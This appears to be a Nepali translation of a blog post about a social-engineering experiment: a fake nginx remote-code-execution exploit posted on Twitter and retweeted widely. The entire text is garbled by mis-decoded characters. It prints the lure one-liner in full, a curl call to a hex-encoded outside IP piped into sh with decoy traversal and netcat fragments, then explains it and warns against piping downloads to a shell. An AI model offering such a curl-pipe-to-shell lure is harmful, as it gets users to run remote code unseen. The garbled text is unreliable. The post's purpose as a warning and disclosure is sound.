рдирдХреНрдХрд▓реА nginx рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрдХреЛ рд╕рдлрд▓рддрд╛

рдиреЛрдЯред рдЕрдиреБрд╡рд╛рджред: рд▓реЗрдЦрдХ рдЬреБрди рез рдорд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд рдореМрд▓рд┐рдХ рдиреЛрдЯрд▓реЗ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛рдорд╛ рд░реБрдЪрд┐ рд░рд╛рдЦреНрдиреЗрд╣рд░реВрдХрд╛ рдмреАрдЪрдорд╛ рдПрдЙрдЯрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реЗрдХреЛ рдерд┐рдпреЛред рдпрд╕рдХрд╛ рд▓рд╛рдЧрд┐, рдЙрдирд▓реЗ рд╡реЗрдм рд╕рд░реНрднрд░рдорд╛ рдЕрдЬреНрдЮрд╛рдд рдЬреЛрдЦрд┐рдордХреЛ рд▓рд╛рдЧрд┐ рдирдХреНрдХрд▓реА рд╢реЛрд╖рдг рддрдпрд╛рд░ рдЧрд░реЗ рд░ рдпрд╕рд▓рд╛рдИ рдЖрдлреНрдиреЛ рдЯреНрд╡рд┐рдЯрд░рдорд╛ рдкреЛрд╕реНрдЯ рдЧрд░реЗред рдЙрд╣рд╛рдБрдХрд╛ рдЕрдиреБрдорд╛рдирд╣рд░реВ - рдХреЛрдбрдорд╛ рд╕реНрдкрд╖реНрдЯ рдЫрд▓рдХрдкрдЯ рджреЗрдЦреНрдиреЗ рд╡рд┐рд╢реЗрд╖рдЬреНрдЮрд╣рд░реВ рджреНрд╡рд╛рд░рд╛ рддреБрд░реБрдиреНрддреИ рдкрд░реНрджрд╛рдлрд╛рд╕ рдЧрд░реНрди - рдорд╛рддреНрд░ рд╕рддреНрдп рднрдПрди ... рддрд┐рдиреАрд╣рд░реВрд▓реЗ рд╕рдмреИ рдЕрдкреЗрдХреНрд╖рд╛рд╣рд░реВ рдкрд╛рд░ рдЧрд░реЗ, рд░ рд╡рд┐рдкрд░рд┐рдд рджрд┐рд╢рд╛рдорд╛: рдЯреНрд╡реАрдЯрд▓реЗ рдзреЗрд░реИ рдорд╛рдирд┐рд╕рд╣рд░реВрдмрд╛рдЯ рдареВрд▓реЛ рд╕рдорд░реНрдерди рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдпреЛ рдЬрд╕рд▓реЗ рдирдЧрд░реЗрдХреЛ рдерд┐рдпреЛред рдпрд╕рдХреЛ рд╕рд╛рдордЧреНрд░реА рдЬрд╛рдБрдЪ рдЧрд░реНрдиреБрд╣реЛрд╕реНред

рдирдХреНрдХрд▓реА nginx рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрдХреЛ рд╕рдлрд▓рддрд╛

TL; DR: рдХреБрдиреИ рдкрдирд┐ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдорд╛ sh рд╡рд╛ bash рдорд╛ рдлрд╛рдЗрд▓ рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдкреНрд░рдпреЛрдЧ рдирдЧрд░реНрдиреБрд╣реЛрд╕реНред рдпреЛ рддрдкрд╛рдЗрдБрдХреЛ рдХрдореНрдкреНрдпреБрдЯрд░ рдХреЛ рдирд┐рдпрдиреНрддреНрд░рдг рдЧреБрдорд╛рдЙрди рдХреЛ рд▓рд╛рдЧреА рдПрдХ рд░рд╛рдореНрд░реЛ рддрд░рд┐рдХрд╛ рд╣реЛред

рдо рддрдкрд╛рдИрдВрд╕рдБрдЧ рдХрдорд┐рдХ PoC рд╢реЛрд╖рдгрдХреЛ рдмрд╛рд░реЗрдорд╛ рдПрдЙрдЯрд╛ рдЫреЛрдЯреЛ рдХрдерд╛ рд╕рд╛рдЭрд╛ рдЧрд░реНрди рдЪрд╛рд╣рдиреНрдЫреБ рдЬреБрди рдореЗ 31st рдорд╛ рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рд╕рдорд╛рдЪрд╛рд░рдХреЛ рдЬрд╡рд╛рдлрдорд╛ рдЙрдиреА рддреБрд░реБрдиреНрддреИ рджреЗрдЦрд╛ рдкрд░реНтАНрдпреЛ рдПрд▓рд┐рд╕рд╛ Esage Shevchenko, рд╕рджрд╕реНрдп рд╢реВрдиреНрдп рджрд┐рди рдкрд╣рд▓ (ZDI), RCE (рд░рд┐рдореЛрдЯ рдХреЛрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди) рд▓рд╛рдИ NGINX рдорд╛ рдПрдХ рдЬреЛрдЦрд┐рдордХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рдЪрд╛рдБрдбреИ рдЦреБрд▓рд╛рд╕рд╛ рдЧрд░рд┐рдиреЗрдЫред NGINX рд▓реЗ рдзреЗрд░реИ рд╡реЗрдмрд╕рд╛рдЗрдЯрд╣рд░реВрд▓рд╛рдИ рдкрд╛рд╡рд░ рдЧрд░реЗрдХреЛ рд╣реБрдирд╛рд▓реЗ, рд╕рдорд╛рдЪрд╛рд░ рдПрдХ рдмрдорд╢реЗрд▓ рднрдПрдХреЛ рд╣реБрдиреБрдкрд░реНрдЫред рддрд░ "рдЬрд┐рдореНрдореЗрд╡рд╛рд░ рдЦреБрд▓рд╛рд╕рд╛" рдкреНрд░рдХреНрд░рд┐рдпрд╛рдорд╛ рдврд┐рд▓рд╛рдЗрдХреЛ рдХрд╛рд░рдг, рдХреЗ рднрдпреЛ рднрдиреНрдиреЗ рд╡рд┐рд╡рд░рдгрд╣рд░реВ рдерд╛рд╣рд╛ рднрдПрди - рдпреЛ рдорд╛рдирдХ ZDI рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реЛред

рдирдХреНрдХрд▓реА nginx рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрдХреЛ рд╕рдлрд▓рддрд╛
рдЯреНрд╡рд┐рдЯ NGINX рдорд╛ рдЬреЛрдЦрд┐рдо рдкреНрд░рдХрдЯреАрдХрд░рдг рдмрд╛рд░реЗ

рдХрд░реНрд▓рдорд╛ рдирдпрд╛рдБ рдЕрд╕реНрдкрд╖реНрдЯрддрд╛ рдкреНрд░рд╡рд┐рдзрд┐рдорд╛ рдХрд╛рдо рдЧрд░рд┐рд╕рдХреЗрдкрдЫрд┐, рдореИрд▓реЗ рдореВрд▓ рдЯреНрд╡рд┐рдЯ рдЙрджреНрдзреГрдд рдЧрд░реЗрдВ рд░ "рдПрдХ рдХрд╛рдо рдЧрд░реНрдиреЗ PoC рд▓реАрдХ рдЧрд░реЗрдБ" рдХреЛрдбрдХреЛ рдПрдХрд▓ рд▓рд╛рдЗрди рд╕рдорд╛рд╡реЗрд╢ рднрдПрдХреЛ рдерд┐рдпреЛ рдЬрд╕рд▓реЗ рдкрддреНрддрд╛ рд▓рдЧрд╛рдПрдХреЛ рдЬреЛрдЦрд┐рдордХреЛ рд╢реЛрд╖рдг рдЧрд░реНрджрдЫред рдирд┐рд╕реНрд╕рдиреНрджреЗрд╣, рдпреЛ рдкреВрд░реНрдг рдмрдХрд╡рд╛рд╕ рдерд┐рдпреЛред рдореИрд▓реЗ рдорд╛рдиреЗрдВ рдХрд┐ рдо рддреБрд░реБрдиреНрддреИ рдЦреБрд▓рд╛рд╕рд╛ рд╣реБрдиреЗрдЫреБ, рд░ рддреНрдпреЛ рд░рд╛рдореНрд░реЛрд╕рдБрдЧ рдореИрд▓реЗ рдХреЗрд╣рд┐ рд░рд┐рдЯреНрд╡реАрдЯрд╣рд░реВ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдиреЗрдЫреБ (рдУрд╣ рд░рд╛рдореНрд░реЛ)ред

рдирдХреНрдХрд▓реА nginx рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрдХреЛ рд╕рдлрд▓рддрд╛
рдЯреНрд╡рд┐рдЯ рдирдХреНрдХрд▓реА рд╢реЛрд╖рдг рд╕рдВрдЧ

рддрд░, рддреНрдпрд╕рдкрдЫрд┐ рдХреЗ рднрдпреЛ рдХрд▓реНрдкрдирд╛ рдЧрд░реНрди рд╕рдХрд┐рдирдБ ред рдореЗрд░реЛ рдЯреНрд╡рд┐рдЯрдХреЛ рд▓реЛрдХрдкреНрд░рд┐рдпрддрд╛ рдЖрдХрд╛рд╢реИ рдЫреЛрдпреЛред рдЕрдЪрдореНрдордХреЛ рдХреБрд░рд╛, рдпрд╕ рд╕рдордпрдорд╛ (15:00 рдорд╕реНрдХреЛ рд╕рдордп рдЬреВрди 1) рдереЛрд░реИ рдорд╛рдирд┐рд╕рд╣рд░реВрд▓реЗ рдпреЛ рдирдХреНрдХрд▓реА рд╣реЛ рднрдиреЗрд░ рдмреБрдЭреЗрдХрд╛ рдЫрдиреНред рдзреЗрд░реИ рдорд╛рдирд┐рд╕рд╣рд░реВрд▓реЗ рдпрд╕рд▓рд╛рдИ рдЬрд╛рдБрдЪ рдирдЧрд░реА рд░рд┐рдЯреНрд╡реАрдЯ рдЧрд░реНрдЫрдиреН (рдпрд╕рд▓реЗ рдЖрдЙрдЯрдкреБрдЯ рдЧрд░реНрдиреЗ рд╕реБрдиреНрджрд░ ASCII рдЧреНрд░рд╛рдлрд┐рдХреНрд╕рдХреЛ рдкреНрд░рд╢рдВрд╕рд╛ рдЧрд░реНрди рдЫреЛрдбреНрдиреБрд╣реЛрд╕реН)ред

рдирдХреНрдХрд▓реА nginx рд╢реЛрд╖рдгрдХреЛ рд╕рд╛рде рд╕рд╛рдорд╛рдЬрд┐рдХ рдкреНрд░рдпреЛрдЧрдХреЛ рд╕рдлрд▓рддрд╛
рд╣реЗрд░ рдд рдХрддрд┐ рд╕реБрдиреНрджрд░ рдЫ!

рдЬрдмрдХрд┐ рдпреА рд╕рдмреИ рд▓реВрдкрд╣рд░реВ рд░ рд░рдВрдЧрд╣рд░реВ рдЙрддреНрдХреГрд╖реНрдЯ рдЫрдиреН, рдпреЛ рд╕реНрдкрд╖реНрдЯ рдЫ рдХрд┐ рдорд╛рдирд┐рд╕рд╣рд░реВрд▓реЗ рддрд┐рдиреАрд╣рд░реВрд▓рд╛рдИ рд╣реЗрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рдЖрдлреНрдиреЛ рдореЗрд╕рд┐рдирдорд╛ рдХреЛрдб рдЪрд▓рд╛рдЙрдиреБ рдкрд░реЗрдХреЛ рдерд┐рдпреЛред рд╕реМрднрд╛рдЧреНрдпрд╡рд╢, рдмреНрд░рд╛рдЙрдЬрд░рд╣рд░реВрд▓реЗ рдЙрд╣реА рддрд░рд┐рдХрд╛рд▓реЗ рдХрд╛рдо рдЧрд░реНрджрдЫ, рд░ рдпреЛ рддрдереНрдпрд╕рдБрдЧ рдорд┐рд▓рд╛рдПрд░ рдХрд┐ рдо рд╡рд╛рд╕реНрддрд╡рдорд╛ рдХрд╛рдиреБрдиреА рд╕рдорд╕реНрдпрд╛рдорд╛ рдкрд░реНрди рдЪрд╛рд╣рдиреНрди, рдореЗрд░реЛ рд╕рд╛рдЗрдЯрдорд╛ рджрдлрди рдЧрд░рд┐рдПрдХреЛ рдХреЛрдбрд▓реЗ рдХреБрдиреИ рдкрдирд┐ рдЕрддрд┐рд░рд┐рдХреНрдд рдХреЛрдб рд╕реНрдерд╛рдкрдирд╛ рд╡рд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдирдЧрд░реА рдЗрдХреЛ рдХрд▓рд╣рд░реВ рдЧрд░рд┐рд░рд╣реЗрдХреЛ рдерд┐рдпреЛред

рдПрдЙрдЯрд╛ рд╕рд╛рдиреЛ рд╡рд┐рд╖рдпрд╡рд╕реНрддреБ: рдиреЗрдЯрд╕реНрдкреБрдХреА, dnz, рдо рд░ рдЯреЛрд▓реАрдХрд╛ рдЕрдиреНрдп рдХреЗрдЯрд╛рд╣рд░реВ рдардЧрдХреЛ рднреАрдб рд╣рд╛рдореАрд▓реЗ рдХреЗрд╣реА рд╕рдордпрдХреЛ рд▓рд╛рдЧрд┐ рдХрд░реНрд▓ рдЖрджреЗрд╢рд╣рд░реВрд▓рд╛рдИ рдЕрд╕реНрдкрд╖реНрдЯ рдкрд╛рд░реНрди рд╡рд┐рднрд┐рдиреНрди рддрд░рд┐рдХрд╛рд╣рд░реВрд╕рдБрдЧ рдЦреЗрд▓рд┐рд░рд╣реЗрдХрд╛ рдЫреМрдВ рдХрд┐рдирднрдиреЗ рдпреЛ рд░рд╛рдореНрд░реЛ рдЫ... рд░ рд╣рд╛рдореА рдЧреАрдХрд╣рд░реВ рд╣реМрдВред netspooky рд░ dnz рд▓реЗ рдзреЗрд░реИ рдирдпрд╛рдБ рд╡рд┐рдзрд┐рд╣рд░реВ рдлреЗрд▓рд╛ рдкрд╛рд░реЗ рдЬреБрди рдорд▓рд╛рдИ рдЕрддреНрдпрдиреНрдд рдЖрд╢рд╛рдЬрдирдХ рд▓рд╛рдЧреНрдереНрдпреЛред рдо рд░рдорд╛рдИрд▓реЛрдорд╛ рд╕рд╛рдореЗрд▓ рднрдПрдБ рд░ рдЪрд╛рд▓рд╣рд░реВрдХреЛ рдЭреЛрд▓рд╛рдорд╛ IP рджрд╢рдорд▓рд╡ рд░реВрдкрд╛рдиреНрддрд░рдгрд╣рд░реВ рдердкреНрдиреЗ рдкреНрд░рдпрд╛рд╕ рдЧрд░реЗрдВред рдпреЛ рдмрд╛рд╣рд┐рд░ рдЬрд╛рдиреНрдЫ рдХрд┐ IP рд▓рд╛рдИ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдврд╛рдБрдЪрд╛рдорд╛ рд░реВрдкрд╛рдиреНрддрд░рдг рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред рдпрд╕рдмрд╛рд╣реЗрдХ, рдХрд░реНрд▓ рд░ рдзреЗрд░реИ рдЕрдиреНрдп NIX рдЙрдкрдХрд░рдгрд╣рд░реВ рдЦреБрд╕реАрд╕рд╛рде рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдЖрдИрдкреАрд╣рд░реВ рдЦрд╛рдиреНрдЫрдиреН! рддреНрдпрд╕реЛрднрдП рдпреЛ рд╡рд┐рд╢реНрд╡рд╕реНрдд рд░ рд╕реБрд░рдХреНрд╖рд┐рдд рджреЗрдЦрд┐рдиреЗ рдХрдорд╛рдгреНрдб рд▓рд╛рдЗрди рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрдиреЗ рдХреБрд░рд╛ рдорд╛рддреНрд░ рдерд┐рдпреЛред рдЕрдиреНрддрддрдГ рдо рдпреЛ рдПрдХ рдорд╛ рдмрд╕реЗ:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

рд╕рд╛рдорд╛рдЬрд┐рдХ-рдЗрд▓реЗрдХреНрдЯреНрд░реЛрдирд┐рдХ рдИрдиреНрдЬрд┐рдирд┐рдпрд░рд┐рдЩреН (SEE) - рдлрд┐рд╕рд┐рдЩ рднрдиреНрджрд╛ рдмрдвреА

рд╕реБрд░рдХреНрд╖рд╛ рд░ рдкрд░рд┐рдЪрд┐рддрддрд╛ рдпрд╕ рдкреНрд░рдпреЛрдЧрдХреЛ рдкреНрд░рдореБрдЦ рднрд╛рдЧ рдерд┐рдпреЛред рдорд▓рд╛рдИ рд▓рд╛рдЧреНрдЫ рдХрд┐ рддрд┐рдиреАрд╣рд░реВрд▓реЗ рдЙрдирдХреЛ рд╕рдлрд▓рддрд╛рдХреЛ рдиреЗрддреГрддреНрд╡ рдЧрд░реЗред рдХрдорд╛рдгреНрдб рд▓рд╛рдЗрдирд▓реЗ "127.0.0.1" (рдкреНрд░рд╕рд┐рджреНрдз рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ) рд▓рд╛рдИ рд╕рдиреНрджрд░реНрдн рдЧрд░реЗрд░ рд╕реНрдкрд╖реНрдЯ рд░реВрдкрдорд╛ рд╕реБрд░рдХреНрд╖рд╛рд▓рд╛рдИ рдирд┐рд╣рд┐рдд рдЧрд░реНрджрдЫред Localhost рд╕реБрд░рдХреНрд╖рд┐рдд рдорд╛рдирд┐рдиреНрдЫ рд░ рдпрд╕рдорд╛ рднрдПрдХреЛ рдбрд╛рдЯрд╛рд▓реЗ рддрдкрд╛рдЗрдБрдХреЛ рдХрдореНрдкреНрдпреБрдЯрд░рд▓рд╛рдИ рдХрд╣рд┐рд▓реНрдпреИ рдЫреЛрдбреНрджреИрдиред

рдкрд░рд┐рдЪрд┐рддрддрд╛ рдкреНрд░рдпреЛрдЧрдХреЛ рджреЛрд╕реНрд░реЛ рдкреНрд░рдореБрдЦ SEE рдШрдЯрдХ рдерд┐рдпреЛред рд▓рдХреНрд╖рд┐рдд рджрд░реНрд╢рдХрд╣рд░реВ рдореБрдЦреНрдпрддрдпрд╛ рдХрдореНрдкреНрдпреБрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛рдХреЛ рдЖрдзрд╛рд░рднреВрдд рдХреБрд░рд╛рд╣рд░реВрд╕рдБрдЧ рдкрд░рд┐рдЪрд┐рдд рд╡реНрдпрдХреНрддрд┐рд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рднрдПрдХреЛ рд╣реБрдирд╛рд▓реЗ, рдХреЛрдб рд╕рд┐рд░реНрдЬрдирд╛ рдЧрд░реНрди рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдерд┐рдпреЛ рддрд╛рдХрд┐ рдпрд╕рдХреЛ рднрд╛рдЧрд╣рд░реВ рдкрд░рд┐рдЪрд┐рдд рд░ рдкрд░рд┐рдЪрд┐рдд рджреЗрдЦрд┐рди (рд░ рддреНрдпрд╕реИрд▓реЗ рд╕реБрд░рдХреНрд╖рд┐рдд)ред рдкреБрд░рд╛рдиреЛ рд╢реЛрд╖рдг рдЕрд╡рдзрд╛рд░рдгрд╛рд╣рд░реБ рдХреЛ рддрддреНрд╡рд╣рд░реБ рдЙрдзрд╛рд░реЛ рд░ рдПрдХ рдЕрд╕рд╛рдорд╛рдиреНрдп рддрд░рд┐рдХрд╛рдорд╛ рд╕рдВрдпреЛрдЬрди рдзреЗрд░реИ рд╕рдлрд▓ рд╕рд╛рдмрд┐рдд рднрдПрдХреЛ рдЫред

рддрд▓ рдПрдХ-рд▓рд╛рдЗрдирд░рдХреЛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдЫред рдпрд╕ рд╕реВрдЪреАрдорд╛ рднрдПрдХрд╛ рд╕рдмреИ рдЪреАрдЬрд╣рд░реВ рд▓рдЧрд╛рдЙрдБрдЫрдиреН рдХрд╕реНрдореЗрдЯрд┐рдХ рдкреНрд░рдХреГрддрд┐, рд░ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рд░реВрдкрдорд╛ рдпрд╕рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдЮреНрдЪрд╛рд▓рдирдХреЛ рд▓рд╛рдЧрд┐ рдХреЗрд╣рд┐ рдЖрд╡рд╢реНрдпрдХ рдЫреИрдиред

рдХреЗ рдХрдореНрдкреЛрдиреЗрдиреНрдЯрд╣рд░реВ рд╕рд╛рдБрдЪреНрдЪреИ рдЖрд╡рд╢реНрдпрдХ рдЫрдиреН? рдпреЛ -gsS, -O 0x0238f06a, |sh рд░ рд╡реЗрдм рд╕рд░реНрднрд░ рдЖрдлреИред рд╡реЗрдм рд╕рд░реНрднрд░рд▓реЗ рдХреБрдиреИ рдкрдирд┐ рдЦрд░рд╛рдм рдирд┐рд░реНрджреЗрд╢рдирд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджреИрди, рддрд░ рдХреЗрд╡рд▓ рдЖрджреЗрд╢рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ ASCII рдЧреНрд░рд╛рдлрд┐рдХреНрд╕рд╣рд░реВ рд╕реЗрд╡рд╛ рдЧрд░реНрдпреЛ echo рд▓рд┐рдкрд┐рдорд╛ рд╕рдорд╛рд╡реЗрд╢ рдЫ index.htmlред рдЬрдм рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓реЗ рдПрдХ рд▓рд╛рдЗрди рдкреНрд░рд╡рд┐рд╖реНрдЯ рдЧрд░реНрдиреБрднрдпреЛ |sh рдмрд┐рдЪрдорд╛, index.html рд▓реЛрдб рд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдиред рд╕реМрднрд╛рдЧреНрдп рджреЗрдЦрд┐, рд╡реЗрдм рд╕рд░реНрднрд░ рдХреЛ рд╕рдВрд░рдХреНрд╖рдХрд╣рд░реБ рдХреЛ рдХреБрдиреИ рдЦрд░рд╛рдм рдЗрд░рд╛рджрд╛ рдерд┐рдПрдиред

  • ../../../%00 - рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реА рднрдиреНрджрд╛ рдмрд╛рд╣рд┐рд░ рдЬрд╛рдиреЗ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдЧрд░реНрджрдЫ;
  • ngx_stream_module.so - рдЕрдирд┐рдпрдорд┐рдд NGINX рдореЛрдбреНрдпреБрд▓рдХреЛ рд▓рд╛рдЧрд┐ рдорд╛рд░реНрдЧ;
  • /bin/sh%00<'protocol:TCP' - рд╣рд╛рдореА рдЕрдиреБрдорд╛рдирд┐рдд рд░реВрдкрдорд╛ рд╕реБрд░реВ рдЧрд░реНрджреИрдЫреМрдВ /bin/sh рд▓рдХреНрд╖рд┐рдд рдореЗрд╕рд┐рдирдорд╛ рд░ TCP рдЪреНрдпрд╛рдирд▓рдорд╛ рдЖрдЙрдЯрдкреБрдЯ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░реНрдиреБрд╣реЛрд╕реН;
  • -O 0x0238f06a#PLToffset - рдЧреЛрдкреНрдп рдШрдЯрдХ, рдкреВрд░рдХ #PLToffset, PLT рдорд╛ рдХреБрдиреИ рди рдХреБрдиреИ рд░реВрдкрдорд╛ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░рд┐рдПрдХреЛ рдореЗрдореЛрд░реА рдЕрдлрд╕реЗрдЯ рдЬрд╕реНрддреЛ рджреЗрдЦрд┐рди;
  • |sh; - рдЕрд░реНрдХреЛ рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдЯреБрдХреНрд░рд╛ред рд╣рд╛рдореАрд▓реЗ рдЖрдЙрдЯрдкреБрдЯрд▓рд╛рдИ sh/bash рдорд╛ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░реНрди рдЖрд╡рд╢реНрдпрдХ рдЫ рдЬрд╣рд╛рдБ рд╕реНрдерд┐рдд рдЖрдХреНрд░рдордгрдХрд╛рд░реА рд╡реЗрдм рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрдПрдХреЛ рдХреЛрдб рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиред 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - рдПрдХ рдбрдореА рдЬрд╕рдорд╛ рдиреЗрдЯрдХреНрдпрд╛рдЯрд▓рд╛рдИ рдЬрдирд╛рдЙрдБрдЫ /dev/tcp/localhostрддрд╛рдХрд┐ рд╕рдмреИ рдХреБрд░рд╛ рдлреЗрд░рд┐ рд╕реБрд░рдХреНрд╖рд┐рдд рджреЗрдЦрд┐рдиреНрдЫред рд╡рд╛рд╕реНрддрд╡рдорд╛, рдпрд╕рд▓реЗ рдХреЗрд╣рд┐ рдЧрд░реНрджреИрди рд░ рд╕реБрдиреНрджрд░рддрд╛рдХреЛ рд▓рд╛рдЧрд┐ рд▓рд╛рдЗрдирдорд╛ рд╕рдорд╛рд╡реЗрд╢ рдЫред

рдпрд╕рд▓реЗ рдПрдХ-рд▓рд╛рдЗрди рд▓рд┐рдкрд┐рдХреЛ рдбрд┐рдХреЛрдбрд┐рдЩ рд░ "рд╕рд╛рдорд╛рдЬрд┐рдХ-рдЗрд▓реЗрдХреНрдЯреНрд░реЛрдирд┐рдХ рдЗрдиреНрдЬрд┐рдирд┐рдпрд░рд┐рдЩреН" (рдЬрдЯрд┐рд▓ рдлрд┐рд╕рд┐рдЩ) рдХреЛ рдкрдХреНрд╖рд╣рд░реВрдХреЛ рдЫрд▓рдлрд▓рд▓рд╛рдИ рд╕рдорд╛рдкреНрдд рдЧрд░реНрджрдЫред

рд╡реЗрдм рд╕рд░реНрднрд░ рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рд░ рдХрд╛рдЙрдиреНрдЯрд░рдореЗрдЬрд░рд╣рд░реВ

рдореЗрд░рд╛ рдзреЗрд░реИрдЬрд╕реЛ рд╕рджрд╕реНрдпрд╣рд░реВ рдЗрдиреНрдлреЛрд╕реЗрдХ/рд╣реНрдпрд╛рдХрд░рд╣рд░реВ рднрдПрдХрд╛рд▓реЗ, рдореИрд▓реЗ рд╡реЗрдм рд╕рд░реНрднрд░рд▓рд╛рдИ рдЙрдиреАрд╣рд░реВрдХреЛ рдкрдХреНрд╖рдорд╛ "рдЪрд╛рд╕реЛ" рдХреЛ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдХреЛ рд▓рд╛рдЧрд┐ рдЕрд▓рд┐ рдмрдвреА рдкреНрд░рддрд┐рд░реЛрдзреА рдмрдирд╛рдЙрдиреЗ рдирд┐рд░реНрдгрдп рдЧрд░реЗрдВ, рддрд╛рдХрд┐ рдХреЗрдЯрд╛рд╣рд░реВрд▓реЗ рдХреЗрд╣реА рдЧрд░реНрди рд╕рдХреВрдиреН (рд░ рдпреЛ рд░рдорд╛рдЗрд▓реЛ рд╣реБрдиреЗрдЫред рд╕реЗрдЯ рдЕрдк)ред рдо рдпрд╣рд╛рдБ рд╕рдмреИ рдХрдордЬреЛрд░реАрд╣рд░реВ рд╕реВрдЪреАрдмрджреНрдз рдЧрд░реНрди рдЬрд╛рдБрджреИрдЫреБ рдХрд┐рдирдХрд┐ рдкреНрд░рдпреЛрдЧ рдЕрдЭреИ рдЬрд╛рд░реА рдЫ, рддрд░ рдпрд╣рд╛рдБ рд╕рд░реНрднрд░рд▓реЗ рдЧрд░реНрдиреЗ рдХреЗрд╣реА рдЪреАрдЬрд╣рд░реВ рдЫрдиреН:

  • рдХреЗрд╣реА рд╕рд╛рдорд╛рдЬрд┐рдХ рд╕рдЮреНрдЬрд╛рд▓рд╣рд░реВрдорд╛ рд╡рд┐рддрд░рдг рдкреНрд░рдпрд╛рд╕рд╣рд░реВ рд╕рдХреНрд░рд┐рдп рд░реВрдкрдорд╛ рдирд┐рдЧрд░рд╛рдиреА рдЧрд░реНрджрдЫ рд░ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд▓рд╛рдИ рд▓рд┐рдЩреНрдХрдорд╛ рдХреНрд▓рд┐рдХ рдЧрд░реНрди рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдЧрд░реНрди рд╡рд┐рднрд┐рдиреНрди рдкреВрд░реНрд╡рд╛рд╡рд▓реЛрдХрди рдердореНрдмрдиреЗрд▓рд╣рд░реВ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрджрдЫред
  • рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджреЗрдЦрд╛рдЙрдиреБрдХреЛ рд╕рдЯреНрдЯрд╛ Thugcrowd рдкреНрд░рдореЛрд╢рдирд▓ рднрд┐рдбрд┐рдпреЛрдорд╛ Chrome/Mozilla/Safari/etc рд▓рд╛рдИ рд░рд┐рдбрд┐рд░реЗрдХреНрдЯ рдЧрд░реНрдЫред
  • рдШреБрд╕рдкреИрда/рд╕реНрдкрд╖реНрдЯ рд╣реНрдпрд╛рдХрд┐рдЩрдХрд╛ рд╕реНрдкрд╖реНрдЯ рд╕рдВрдХреЗрддрд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рд╣реЗрд░реНрдЫ, рд░ рддреНрдпрд╕рдкрдЫрд┐ NSA рд╕рд░реНрднрд░рд╣рд░реВрдорд╛ рдЕрдиреБрд░реЛрдзрд╣рд░реВ рдкреБрди: рдирд┐рд░реНрджреЗрд╢рд┐рдд рдЧрд░реНрди рдерд╛рд▓реНрдЫ (ha!)ред
